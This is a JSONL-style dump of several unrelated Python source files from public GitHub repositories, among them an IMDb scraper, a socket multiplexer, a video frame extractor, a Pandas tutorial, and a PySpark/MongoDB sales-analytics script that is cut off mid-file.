from a_string.\n It assumes that a_string contains a 4-digit substring representing a year.\n Useful when the year of a movie release on IMDb is represented like '(1988, part 2)', or '(video, 2002)'.\"\"\"\n\n if len(a_string) >=4:\n # all_4_digit_substrings = [a_string[i:j]\n # for i in range(0, len(a_string) - 3)\n # for j in range(i + 1, len(a_string) + 1)\n # if len(a_string[i:j]) == 4]\n all_4_digit_substrings = [a_string[i:(i+4)] for i in range(0, len(a_string) - 3)]\n first_4_digit_substring = next((x for x in all_4_digit_substrings if x.isdigit()), None)\n return first_4_digit_substring\n else:\n return None\n\n\ndef get_m_info(start_url: str, max_pages=1):\n \"\"\"\n Returns structured information about movies from a multi-page IMDb movie list.\n :param start_url: the url of the starting page of a multi-page IMDb movie list\n :param max_pages: the max number of pages to crawl\n :return: a list of tuples of info-items about the movies from a multi-page IMDb movie list\n Creates and uses the following data:\n - h3_list - a list of all 'h3' tags from multiple IMDb pages\n (each 'h3' tag contains: movie title, year of release, and (relative) link to the movie's IMDb page)\n - poster_list - a list of all relevant 'div' tags from multiple IMDb pages\n (each such a 'div' tag contains the link to the poster of the corresponding movie)\n - info_list - a list of 3-tuples of information about each movie from h3_list\n - poster_link_list - a list of links to the posters of the movies from poster_list\n - complete_list - a list of 4-tuples of information about each movie from h3_list and poster_list\n \"\"\"\n\n h3_list = []\n poster_list = []\n next__soup = crawl(start_url, max_pages)\n while True:\n try:\n soup = next(next__soup)\n h3_list.extend(soup.find_all('h3')[:-1])\n poster_list.extend(soup.find_all('div', {'class': 'lister-item-image ribbonize'}))\n except StopIteration:\n break\n\n info_list = []\n for h3 in h3_list:\n title = h3.a.text.strip() # some titles contain leading/trailing whitespace\n # year = h3.a.find_next_sibling('span').text[-5:-1]\n # year = h3.a.find_next_sibling('span').text.split()[-1].lstrip('(').rstrip(')')\n year = h3.find('span', {'class': \"lister-item-year text-muted unbold\"}).text\n year = get_4_digit_substring(year)\n year = 'unknown' if not year else year # covers the case when get_4_digit_substring(year) returns None\n link = BASE_URL + h3.a['href'][1:]\n info_list.append((title, year, link))\n\n poster_link_list = []\n for p in poster_list:\n poster_link_list.append(p.a.img['loadlate'])\n\n complete_list = []\n for info, p in zip(info_list, poster_link_list):\n title, year, link = info\n complete_list.append((title, year, link, p))\n\n return complete_list\n\n\nif __name__ == \"__main__\":\n\n # # Getting started\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n #\n # # Create Response object from GET request, using requests.get(, allow_redirects=False)\n # response = requests.get(start_url, allow_redirects=False)\n # # print(response)\n # # print(type(response))\n # # print()\n #\n # # Get response text from Response object, using .text\n # response_text = response.text\n # # print(response_text)\n # # print()\n #\n # # Get BeautifulSoup object from response text, using BeautifulSoup(, 'html.parser')\n # soup = BeautifulSoup(response_text, 'html.parser')\n # # print(type(soup))\n # # print()\n # # print(soup)\n # print()\n #\n # # # Save BeautifulSoup object to an HTML file,\n # # # using .write_text(, encoding='utf-8', errors='replace')\n # # f = utility.get_data_dir() / 'imdb.html'\n # # f.write_text(str(soup), encoding='utf-8', errors='replace')\n # # print()\n #\n # # Demonstrate .find(''), .find_all(),\n # # .find_all(, {'': \"\"});\n # # use, e.g., 'h3' or 'div' as the tags in the examples\n # # print(soup.find('h3'))\n # # print()\n # # print(soup.find_all('h3'))\n # h3_list = soup.find_all('h3')\n # print()\n # print(type(h3_list))\n # print(h3_list[23])\n # print()\n # print(len(h3_list))\n # print()\n #\n # # Demonstrate getting a 'subtag' for a tag (a bs4.element.Tag object), e.g. h3.find('')\n # print(type(h3_list[23]))\n # print()\n # item_24 = h3_list[23]\n # print(item_24.find('span'))\n # print(item_24.find('span', {'class': \"lister-item-year text-muted unbold\"}))\n # print()\n #\n # # Demonstrate getting an attribute value for a tag (a bs4.element.Tag object),\n # # e.g. h3.find(''), filtered with <{'class': \"\"}>;\n # # alternatively: h3.find('')[''],\n # # h3.find('').get(''),\n # # h3.find('').,... (: e.g. text (or string))\n # print(item_24.find('span').get('class'))\n # print()\n #\n # # Demonstrate shorthand notation (e.g., h3.find('').text is equivalent to h3..text (or .string)\n # print(item_24.a)\n # print(item_24.a['href'])\n # print(item_24.a.text)\n # print()\n #\n # # Get/Return all text from a bs4.element.Tag object, using .text\n # print(item_24.text)\n # print()\n #\n # # Demonstrate .find_next_siblings() (returns all 's siblings) and\n # # .find_next_sibling() (returns just the first one)\n # print(item_24.a.find_next_sibling('span'))\n # print(item_24.find('span').find_next_siblings())\n # print()\n #\n # # Get/Return and remove a specific item from a bs4.element.ResultSet using .pop() (default: last)\n # h3_list.pop(50)\n # print(h3_list)\n # item_23 = h3_list.pop(22)\n # print(item_23)\n # print(len(h3_list))\n # print()\n #\n # # Each bs4.element.ResultSet, bs4.element.Tag,... can be used to create another BeautifulSoup object,\n # # using BeautifulSoup(str(), 'html.parser')\n # soup_23 = BeautifulSoup(str(item_23), 'html.parser')\n # print(soup_23)\n # print()\n\n # # Example: get all movie titles from an IMDb page\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n # response = requests.get(start_url, allow_redirects=False)\n # response_text = response.text\n # soup = BeautifulSoup(response_text, 'html.parser')\n # h3_set = soup.find_all('h3')[:-1]\n # # print(soup)\n # for h3 in h3_set:\n # # print(h3)\n # print(h3.a.text)\n # print()\n\n # # Test get_soup()\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n # soup = get_soup(start_url)\n # print(soup)\n print()\n\n # # Test get_specific_page()\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n # print(get_specific_page(start_url, 2))\n # print()\n\n # # Test get_next_soup()\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n # print(get_next_soup(start_url, 3))\n # print()\n\n # # Test crawl()\n # start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n # 'mode=detail&page=1&sort=moviemeter,asc'\n # next_soup = crawl(start_url, 3)\n # while True:\n # try:\n # s = next(next_soup)\n # print(s)\n # print()\n # print()\n # print()\n # except StopIteration:\n # break\n # print()\n\n # Test get_m_info()\n start_url = 'https://www.imdb.com/search/keyword/?keywords=rock-%27n%27-roll%2Crock-music&ref_=kw_ref_key&' \\\n 'mode=detail&page=1&sort=moviemeter,asc'\n movies = get_m_info(start_url, 3)\n for m in movies:\n print(m)\n print()\n\n # # Test writing the output of get_m_info() to a csv file\n # # A test list of movie info tuples, try with this list first; illustrates handling Unicode chars and whitespace\n # movies = [('шђ', '2000', 'https://www.imdb.com/title/tt0238784/',\n # 'https://m.media-amazon.com/images/M/MV5BNDk5NjI2NzMzMl5BMl5BanBnXkFtZTgwMjkyOTM0MjE@._V1_UY209_CR69,0,140,209_AL_.jpg'),\n # ('šđ', '1989', 'https://www.imdb.com/title/tt0096684/',\n # 'https://m.media-amazon.com/images/M/MV5BMzA4MGEzZTMtNGQ3Ny00YjdiLWI2MTgtMzA4YmJlMDY5OGFkXkEyXkFqcGdeQXVyMDgyNjA5MA@@._V1_UY209_CR64,0,140,209_AL_.jpg'),\n # (' Rockpalast', '1974', 'https://www.imdb.com/title/tt0479780/',\n # 'https://m.media-amazon.com/images/M/MV5BOWM2ZDAyOWUtYWQ0Ni00OTYyLWEwMjktZDJmNjdmNDZlYTdjXkEyXkFqcGdeQXVyMTQ0MzMwNQ@@._V1_UY209_CR1,0,140,209_AL_.jpg'),\n # (' Ten Days That Unexpectedly Changed America', '2006', 'https://www.imdb.com/title/tt0953255/',\n # 'https://m.media-amazon.com/images/M/MV5BMjA2NDE3NDk1Nl5BMl5BanBnXkFtZTcwNjQ2NDMzMQ@@._V1_UY209_CR4,0,140,209_AL_.jpg')\n # ]\n import csv\n from util.utility import get_data_dir\n csv_file = get_data_dir() / 'movies.csv'\n header_row = ['Title', 'Year', 'Link', 'Poster']\n with open(csv_file, 'w', newline='', encoding='utf-8') as f: # newline: avoid blank rows; encoding: enable ш,š...\n out = csv.writer(f)\n out.writerow(header_row)\n out.writerows(movies)\n\n\n","repo_name":"programiranje3/2020","sub_path":"music/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":12529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9810188341","text":"#!/usr/bin/env python\n\nfrom os.path import join, dirname, abspath\n\nfrom IPython.terminal.ipapp import TerminalIPythonApp\nfrom ipykernel.kernelapp import IPKernelApp\n\nhere = abspath(dirname(__file__))\noptions = join(here, 'source', 'config', 'options')\ngenerated = join(options, 'config-generated.txt')\n\n\ndef write_doc(name, title, app, preamble=None):\n filename = join(options, name+'.rst')\n with open(filename, 'w') as f:\n f.write(title + '\\n')\n f.write(('=' * len(title)) + '\\n')\n f.write('\\n')\n if preamble is not None:\n f.write(preamble + '\\n\\n')\n f.write(app.document_config_options())\n\n\nif __name__ == '__main__':\n # Touch this file for the make target\n with open(generated, 'w'):\n pass\n\n write_doc('terminal', 'Terminal IPython options', TerminalIPythonApp())\n write_doc('kernel', 'IPython kernel options', IPKernelApp(),\n preamble=(\"These options can be used in :file:`ipython_kernel_config.py`. \"\n \"The kernel also respects any options in `ipython_config.py`\"),\n )\n","repo_name":"pacoqueen/ginn","sub_path":"extra/install/ipython2/ipython-5.10.0/docs/autogen_config.py","file_name":"autogen_config.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"16088150692","text":"import csv\nimport random\n\nc_set_list = ['name', 'object', 'countrie']\nc_rules_fn = 'adv/rules.txt'\nc_phrase_freq_fnt = '~/tmp/adv_phrase_freq.txt'\nc_phrase_bitvec_dict_fnt = '~/tmp/adv_bin_dict.txt'\nc_num_agents_per_story = 5\nc_num_countries_per_story = 5\nc_num_objects_per_story = 5\nc_num_tries_per_player = 10\n\nels_sets = []\nset_names = [lname +'s' for lname in c_set_list]\n__rules_mgr = None\n__mpdb_mgr = None\nl_names = []\nl_countries = []\nl_objects = []\nc_b_learn_full_rules = False\nc_b_save_freq_stats= False\nc_story_len = 200\nc_num_stories = 500\nc_num_plays = 100\n\n\ndef mod_init():\n\tglobal els_sets\n\n\tfor ifname, fname in enumerate(c_set_list):\n\t\tfh_names = open('adv/' + fname + 's.txt', 'rb')\n\t\tfr_names = csv.reader(fh_names, delimiter=',')\n\t\tall_names = [lname[0] for lname in fr_names]\n\t\tels_sets.append(all_names)\n\n\tl_agents = els_sets[set_names.index('names')]\n\n\treturn els_sets, set_names, l_agents, c_rules_fn, c_phrase_freq_fnt, c_phrase_bitvec_dict_fnt\n\ndef set_mgrs(rules_mgr, mpdb_mgr):\n\tglobal __rules_mgr, __mpdb_mgr\n\t__rules_mgr, __mpdb_mgr = rules_mgr, mpdb_mgr\n\ndef get_mpdb_mgr():\n\treturn __mpdb_mgr\n\ndef init_per_story_sets():\n\tglobal l_objects, l_countries, l_names\n\tl_names = random.sample(els_sets[set_names.index('names')], c_num_agents_per_story)\n\tl_objects = random.sample(els_sets[set_names.index('objects')], c_num_objects_per_story)\n\tl_countries = random.sample(els_sets[set_names.index('countries')], c_num_countries_per_story)\n\treturn [l_names, l_objects, l_countries], ['names', 'objects', 'countries']\n\ndef create_initial_db():\n\tl_db = []\n\n\tl_db += [[name, 'is located in', random.choice(l_countries)] for name in l_names]\n\tl_db += [[o, 'is free in', random.choice(l_countries)] for o in l_objects]\n\tl_db += [[name, 'wants', random.choice(l_objects)] for name in l_names]\n\n\treturn l_db\n\ndef get_num_decision_rules():\n\treturn 4\n\ndef get_decision_for_player(player_name, phase_data, rule_stats):\n\tfor one_try in range(c_num_tries_per_player):\n\t\truleid = 0\n\t\tbfail = random.random() < rule_stats[ruleid][1] / (rule_stats[ruleid][0] + rule_stats[ruleid][1] + 1e-6)\n\t\tplayer_loc = __mpdb_mgr.run_rule(['I', 'am', player_name], phase_data,\n\t\t\t\t\t\t\tplayer_name, [], ['get_location'])[1][0][0][1]\n\t\tdest = player_loc if bfail else random.choice(tuple(set(l_countries)-set([player_loc])))\n\t\treturn [player_name, 'decided to', 'go to', dest],0\n","repo_name":"EliEhrman/logic","sub_path":"adv2.py","file_name":"adv2.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74549825961","text":"#!/usr/bin/env python3\nimport sys, os, argparse\nimport cv2\n\nfrom pytorch_data import GetFrames, resize_img\n\n\ndef main(argv):\n parser = argparse.ArgumentParser(description='Process videos (cut and subsample)')\n\n parser.add_argument('--src_dir', type=str,\n required=True,\n help = 'Source directory')\n parser.add_argument('--dst_dir', type=str,\n required=True,\n help = 'Target directory')\n parser.add_argument('--file_name', type=str,\n required=True,\n help = 'Target directory')\n parser.add_argument('--min_width_height', type=int,\n default=256,\n help = 'Min width/height')\n parser.add_argument('--jpg_quality', type=int,\n default=90,\n help = 'JPG quality')\n parser.add_argument('--max_dur', type=int,\n default=120,\n help = 'max duration in seconds')\n\n\n\n args = parser.parse_args(argv)\n print(args)\n\n\n file_name = args.file_name\n\n sub_folder = file_name.replace('.mp4', '').strip()\n dst_dir = os.path.join(args.dst_dir, sub_folder)\n\n if not os.path.exists(dst_dir):\n os.makedirs(dst_dir)\n\n print(file_name, sub_folder)\n\n full_inp_path = os.path.join(args.src_dir, file_name)\n\n if not os.path.exists(full_inp_path):\n print('File does not exist:', full_inp_path)\n sys.exit(1)\n\n frame_iter = GetFrames(full_inp_path)\n \n while frame_iter.read_next():\n\n if frame_iter.fps * args.max_dur <= frame_iter.frame:\n break\n \n frame_file_name = os.path.join(dst_dir, 'frame%06d.jpg' % frame_iter.frame)\n\n if True:\n resized_img, target_size_width, target_size_height = resize_img(frame_iter.img, frame_iter.width, frame_iter.height, args.min_width_height)\n #print('Image dimensions (%d, %d) -> (%d, %d):' % (frame_iter.width, frame_iter.height, target_size_width, target_size_height))\n else:\n resized_img = frame_iter.img\n args.jpg_quality=100\n \n cv2.imwrite(frame_file_name, resized_img, [cv2.IMWRITE_JPEG_QUALITY, args.jpg_quality])\n\n \n frame_iter.release()\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"mug31416/E-sports-on-Twitch","sub_path":"video_analysis/extract_image_frames.py","file_name":"extract_image_frames.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"35866542872","text":"# -*- coding: utf-8 -*-\n\n\"\"\" Process multiple object tasks. \"\"\"\n\nimport pprint, time\nimport requests\n\n\ndef get_keywords( work_title, work_url ):\n \"\"\" Takes state name.\n Looks up wikipedia article.\n Sends text to nlp/keyword service.\n Returns nlp output. \"\"\"\n time.sleep( 2 )\n ## get html\n r = requests.get( work_url )\n html = r.text\n ## get keyword data\n nlp_url = u'http://library.brown.edu/services/nlp/keywords/'\n params = { u'text': html, u'explore': u'false' }\n r = requests.post( nlp_url, data=params )\n ## make return dict\n data_dict = { u'site': work_title, u'keywords': r.json() }\n pprint.pprint( data_dict )\n return\n","repo_name":"birkin/queue_fun","sub_path":"process_multiple_objects/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"12515209850","text":"import logging\nimport select\nimport socket\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseMultiplexer:\n def __init__(self):\n self.remotes = {}\n\n def loop(self, timeout=0.1):\n raise NotImplementedError()\n\n def register(self, remote):\n logger.info('registering remote {!r}'.format(remote))\n fileno = remote.fileno()\n self.remotes[fileno] = remote\n return fileno\n\n def unregister(self, remote, close=False):\n logger.info('unregistering remote {!r}'.format(remote))\n fileno = remote.fileno()\n del self.remotes[fileno]\n\n\nclass EpollMultiplexer(BaseMultiplexer):\n def __init__(self):\n super(EpollMultiplexer, self).__init__()\n self.poll = None\n\n # We initialise these here, because on platforms that don't implement\n # `select.epoll()`, these flags may not be available.\n self.RO = (\n select.EPOLLIN |\n select.EPOLLPRI |\n select.EPOLLHUP |\n select.EPOLLERR\n )\n self.RW = self.RO | select.EPOLLOUT\n\n def loop(self, timeout=0.1):\n logger.info('starting epoll multiplexer loop')\n\n # Register polling object\n self.poll = select.epoll()\n\n # Register file descriptors\n for fileno in self.remotes:\n self.poll.register(fileno, self.RO)\n\n while self.remotes:\n # Push poll pre events\n for remote in self.remotes.values():\n remote.handle_poll_pre()\n\n events = self.poll.poll(timeout)\n for fileno, event in events:\n remote = self.remotes[fileno]\n\n if event & (select.EPOLLIN | select.EPOLLPRI):\n logger.info('{!r} became readable'.format(remote))\n\n if remote.server:\n client = remote.handle_accept()\n self.register(client)\n\n else:\n try:\n remote.handle_read()\n self.poll.modify(fileno, self.RW)\n except socket.error as error:\n self.unregister(remote, close=True)\n\n elif event & select.EPOLLOUT:\n logger.debug('{!r} became writable'.format(remote))\n self.remotes[fileno].handle_send()\n self.poll.modify(fileno, self.RO)\n\n elif event & select.EPOLLHUP:\n logger.info('{!r} hang up'.format(remote))\n self.remotes[fileno].handle_close()\n self.unregister(remote, close=True)\n\n elif event & select.EPOLLERR:\n logger.info('{!r} raised error'.format(remote))\n self.remotes[fileno].handle_error()\n self.unregister(remote, close=True)\n\n # Push poll post events\n for remote in self.remotes.values():\n remote.handle_poll_post()\n\n # Unregister polling object\n self.poll.close()\n self.poll = None\n\n def register(self, remote):\n fileno = super(EpollMultiplexer, self).register(remote)\n remote.setblocking(0)\n if self.poll:\n self.poll.register(fileno, select.EPOLLIN)\n\n def unregister(self, remote, close=False):\n fileno = super(EpollMultiplexer, self).unregister(remote)\n if self.poll:\n self.poll.unregister(fileno)\n\n if close:\n try:\n remote.close()\n except socket.error:\n pass\n\n\nclass SelectMultiplexer(BaseMultiplexer):\n def loop(self, timeout=0.1):\n logger.info('starting select multiplexer loop')\n\n while self.remotes:\n filenos = self.remotes.keys()\n filenos_w = [\n fileno\n for fileno, remote in self.remotes.items()\n if remote.send_buffer\n ]\n r, w, x = select.select(filenos, filenos_w, filenos, timeout)\n\n for fileno in x:\n remote = self.remotes[fileno]\n logger.info('{!r} raised error'.format(remote))\n self.remotes[fileno].handle_error()\n self.unregister(remote, close=True)\n\n if fileno in r:\n r.remove(fileno)\n if fileno in w:\n w.remove(fileno)\n\n for fileno in r:\n remote = self.remotes[fileno]\n logger.info('{!r} became readable'.format(remote))\n\n if remote.server:\n client = remote.handle_accept()\n self.register(client)\n\n else:\n try:\n remote.handle_read()\n except socket.error as error:\n self.unregister(remote, close=True)\n if fileno in w:\n w.remove(fileno)\n\n for fileno in w:\n remote = self.remotes[fileno]\n logger.debug('{!r} became writable'.format(remote))\n self.remotes[fileno].handle_send()\n\n def register(self, remote):\n super(SelectMultiplexer, self).register(remote)\n remote.setblocking(1)\n\n\ndef multiplexer():\n if hasattr(select, 'epollx'):\n return EpollMultiplexer()\n\n elif hasattr(select, 'select'):\n return SelectMultiplexer()\n\n else:\n raise SystemError('No suitable poller found for your operating system')\n","repo_name":"tehmaze-labs/lollipop","sub_path":"lollipop/multiplex.py","file_name":"multiplex.py","file_ext":"py","file_size_in_byte":5537,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"39"} +{"seq_id":"33109715356","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\n\n\n# In[2]:\n\n\n#creating list\n\nl = [1,2,3]\n\n\n# In[3]:\n\n\nnp.array(l)\n\n\n# In[4]:\n\n\nmy_matrix = [[1,2,3],[4,5,6],[7,8,9]]\nmy_matrix\n\n\n# In[5]:\n\n\nnp.array(my_matrix)\n\n\n# Built in methods\n\n# In[6]:\n\n\nnp.arange(0,10)\n\n\n# In[7]:\n\n\nnp.arange(0,11,2)\n\n\n# In[8]:\n\n\n#creating identity matrix\nnp.eye(3)\n\n\n# ## Random \n# \n# Numpy also has lots of ways to create random number arrays:\n# \n# ### rand\n# Create an array of the given shape and populate it with\n# random samples from a uniform distribution\n# over ``[0, 1)``.\n\n# In[9]:\n\n\nnp.random.rand(2)\n\n\n# \n# \n\n# ## SERIES\n\n# In[10]:\n\n\nimport numpy as np\nimport pandas as pd\n\n\n# ### Creating a Series\n# \n# You can convert a list,numpy array, or dictionary to a Series:\n\n# In[20]:\n\n\nlabels = ['a','b','c']\nl = [10,20,30]\narray = np.array([10,20,30])\nd = {'a':10,'b':20,'c':30}\n\n\n# In[21]:\n\n\npd.Series(data=l)\n\n\n# In[22]:\n\n\npd.Series(l,labels)\n\n\n# In[23]:\n\n\npd.Series(array,labels)\n\n\n# In[25]:\n\n\npd.Series(d)\n\n\n# In[26]:\n\n\nser1 = pd.Series([1,2,3,4],index = ['USA', 'Germany','USSR', 'Japan']) \n\n\n# In[27]:\n\n\nser2 = pd.Series([1,2,5,4],index = ['USA', 'Germany','Italy', 'Japan']) \n\n\n# In[28]:\n\n\n#adding based on index\nser1 + ser2\n\n\n# In[29]:\n\n\nser1['USA']\n\n\n# # DataFrames\n\n# In[30]:\n\n\nfrom numpy.random import randn\n\n\n# In[33]:\n\n\ndf = pd.DataFrame(randn(5,4), index = ['a','b','c','d','e'], columns= ['q','w','e','t'])\n\n\n# In[35]:\n\n\ndf\n\n\n# In[36]:\n\n\n# Pass a list of column names\ndf[['q','t']]\n\n\n# In[38]:\n\n\n#creating new column\ndf['new'] = df['e'] + df['t']\n\n\n# In[39]:\n\n\ndf\n\n\n# In[40]:\n\n\ndf.drop('new', axis=1, inplace=True) #dropping newly added column\n\n\n# In[41]:\n\n\ndf\n\n\n# In[42]:\n\n\ndf.loc[['a','b'], ['q','w']] #subset of rows\n\n\n# In[49]:\n\n\n\ndf[df['e']>0][['e','t']] #conditional statement\n\n\n# In[52]:\n\n\ndf[(df['w']>0) & (df['e'] > 1)]\n\n\n# # Missing Data\n# \n# Dealing with missing values\n\n# In[53]:\n\n\ndf = pd.DataFrame({'A':[1,2,np.nan],\n 'B':[5,np.nan,np.nan],\n 'C':[1,2,3]})\n\n\n# In[54]:\n\n\ndf\n\n\n# In[55]:\n\n\ndf.dropna()\n\n\n# In[56]:\n\n\ndf.dropna(axis=1)\n\n\n# In[63]:\n\n\ndf.dropna(thresh=2)\n\n\n# In[64]:\n\n\ndf.fillna('value')\n\n\n# In[66]:\n\n\ndf\n\n\n# In[67]:\n\n\ndf['A'].fillna(value=df['A'].mean()) #filling missing value with average of the column\n\n\n# # Groupby\n# \n# The groupby method allows you to group rows of data together and call aggregate functions\n\n# In[68]:\n\n\n\n# Create dataframe\ndata = {'Company':['GOOG','GOOG','MSFT','MSFT','FB','FB'],\n 'Person':['Sam','Charlie','Amy','Vanessa','Carl','Sarah'],\n 'Sales':[200,120,340,124,243,350]}\n\n\n# In[69]:\n\n\ndf = pd.DataFrame(data)\n\n\n# In[70]:\n\n\ndf\n\n\n# In[72]:\n\n\ndf.groupby('Company').mean()\n\n\n# In[73]:\n\n\ndf.groupby('Company').min()\n\n\n# In[75]:\n\n\ndf.groupby('Company').describe().transpose()\n\n\n# In[76]:\n\n\ndf.groupby('Company').describe().transpose()['FB']\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"danishnabeel/Numpy-and-Pandas-Introduction","sub_path":"Numpy and Pandas practice .py","file_name":"Numpy and Pandas practice .py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"7323033634","text":"# This is a the coding challange script.\nfrom service.mongo_service import MongoService as ms\nfrom service.csv_service import CsvService as cs\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import sum, col, avg\nimport matplotlib.pyplot as plt\nfrom itertools import repeat\nimport numpy as np\nimport logging\nimport sys\n\n\ndef set_logger():\n \"\"\" Setup logger for the application\"\"\"\n logger = logging.getLogger(\"my logger\")\n logger.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s | %(levelname)s | %(message)s')\n\n stdout_handler = logging.StreamHandler(sys.stdout)\n stdout_handler.setLevel(logging.DEBUG)\n stdout_handler.setFormatter(formatter)\n\n file_handler = logging.FileHandler('logs/logs.log')\n file_handler.setLevel(logging.DEBUG)\n file_handler.setFormatter(formatter)\n\n logger.addHandler(file_handler)\n logger.addHandler(stdout_handler)\n return logger\n\n\ndef print_hist(x, y, nation, as_grid=True):\n x_pos = []\n for index in range(0, len(x)):\n x_pos.append(index * 1)\n width = list(repeat(1, len(x)))\n # Create names on the x-axis\n plt.xticks(x_pos, x)\n plt.xticks(rotation=90, fontsize=8)\n # Create names on the y-axis\n y_pos = np.arange(len(x))\n plt.bar(y_pos, y, color=\"red\", width=width)\n # details\n plt.title(f'Product distribution for {nation}')\n plt.ylabel('Quantity')\n plt.xlabel('InvoiceNo')\n plt.grid(as_grid)\n # store img in img/ folder\n plt.savefig(f'out/img/dist_prod_{nation}.png')\n plt.close()\n\n\ndef print_line(df, x_axes, y_axes, axs, row_idx, col_idx):\n \"\"\" print distribution over x with line graph \"\"\"\n d1 = df.groupBy(x_axes).agg(avg(y_axes).alias(\"avg_price\")).toPandas()\n # 1.set_index(x_axes)['avg_price'].plot(kind=\"line\", color='red')\n axs[row_idx, col_idx].plot(d1[x_axes], d1[\"avg_price\"])\n axs[row_idx, col_idx].set(xlabel=x_axes, ylabel='avg_price')\n axs[row_idx, col_idx].set_xticklabels(axs[row_idx, col_idx].get_xticks(), rotation=90)\n axs[row_idx, col_idx].set_title(f'Distribution -> avg({y_axes})/num({x_axes})')\n # plt.subplot(2, 3, index)\n\n\ndef get_analytics(db_name, coll_name, db_url='127.0.0.1'):\n logger = logging.getLogger(\"my logger\")\n if db_name is None:\n logger.error(\"[Error] DB name is null.\")\n return\n if coll_name is None:\n logger.error(\"[Error] Collection name is null.\")\n return\n if db_url is None:\n logger.error(\"[Error] Url is null.\")\n connection_string = \"mongodb://127.0.0.1/\" + db_name + \".\" + coll_name\n print(\"Establishing Spark connection to path [%s]\" % connection_string)\n\n spark = SparkSession.builder \\\n .appName(\"myApp\") \\\n .master(\"local\") \\\n .config(\"spark.mongodb.input.uri\", connection_string) \\\n .config(\"spark.mongodb.output.uri\", connection_string) \\\n .config(\"spark.jars.packages\", \"org.mongodb.spark:mongo-spark-connector_2.12:3.0.0\") \\\n .getOrCreate()\n\n df = spark.read.format(\"mongo\").load().dropna()\n # printing head() schema for test\n df.show(truncate=True)\n df.printSchema()\n\n # which product sold most?\n q1 = df.groupBy(\"InvoiceNo\") \\\n .agg(sum(\"Quantity\").alias(\"qty_per_invoice\")) \\\n .sort(\"qty_per_invoice\", ascending=False)\n logger.info(\"a1 - which product sold most?: {}\".format(q1.head()))\n\n # which customer spent the most\n q2 = df \\\n .withColumn('tot_price', (col('Quantity') * col('UnitPrice'))) \\\n .groupBy(\"CustomerID\") \\\n .agg(sum(\"tot_price\").alias(\"tot_by_cust\")) \\\n .sort(\"tot_by_cust\", ascending=False)\n logger.info(\"a2 - which customer spent the most?: {}\".format(q2.head()))\n\n # ratio between price and quantity for each invoice - avg ratio per invoice (seems suitable to do)\n q3 = df \\\n .withColumn('partial_ratio', (col('UnitPrice') / col('Quantity'))) \\\n .groupBy(\"InvoiceNo\") \\\n .agg(avg(\"partial_ratio\").alias(\"avg_ratio\")) \\\n .sort(\"avg_ratio\", ascending=False)\n logger.info(\"a3 - ratio between price and quantity for each invoice?: result in out/ratio_price_qt.csv.\")\n q3.toPandas().to_csv('out/ratio_price_qt.csv', encoding='utf-8')\n\n # matplotlib inline - setup figure\n plt.rcParams.update({'figure.figsize': (22, 15), 'figure.dpi': 80})\n\n # graph of the distribution of each product for each of the available countries\n nations = list(df.select(col(\"Country\")).distinct().collect())\n # printing the in of each nation\n q4 = df.groupBy(\"Country\", \"InvoiceNo\") \\\n .agg(sum(\"Quantity\").alias(\"qty_for_invAndNation\"))\n for i, nation in enumerate(nations):\n logger.info(\"%d. selected nation: %s\" % (i, str(nation)))\n data = q4.select(col('InvoiceNo'), col('qty_for_invAndNation')) \\\n .filter(q4.Country == f\"{nation.Country}\") \\\n .toPandas()\n x = list(data['InvoiceNo'])\n y = list(data['qty_for_invAndNation'])\n print_hist(x, y, nation)\n\n # graph of the distribution of price\n fig, axs = plt.subplots(3, 2)\n # avg(price)/num(invoice)\n print_line(df=df, x_axes=\"InvoiceNo\", y_axes=\"UnitPrice\", axs=axs, row_idx=0, col_idx=0)\n logger.info(\"Creating image Price distribution [InvoiceNo/UnitPrice]\")\n # avg(price)/StockCode\n print_line(df=df, x_axes=\"StockCode\", y_axes=\"UnitPrice\", axs=axs, row_idx=0, col_idx=1)\n logger.info(\"Creating image Price distribution [StockCode/UnitPrice]\")\n # avg(price)/InvoiceDate\n print_line(df=df, x_axes=\"InvoiceDate\", y_axes=\"UnitPrice\", axs=axs, row_idx=1, col_idx=0)\n logger.info(\"Creating image Price distribution [InvoiceDate/UnitPrice]\")\n # avg(price)/CustomerID\n print_line(df=df, x_axes=\"CustomerID\", y_axes=\"UnitPrice\", axs=axs, row_idx=1, col_idx=1)\n logger.info(\"Creating image Price distribution [CustomerID/UnitPrice]\")\n 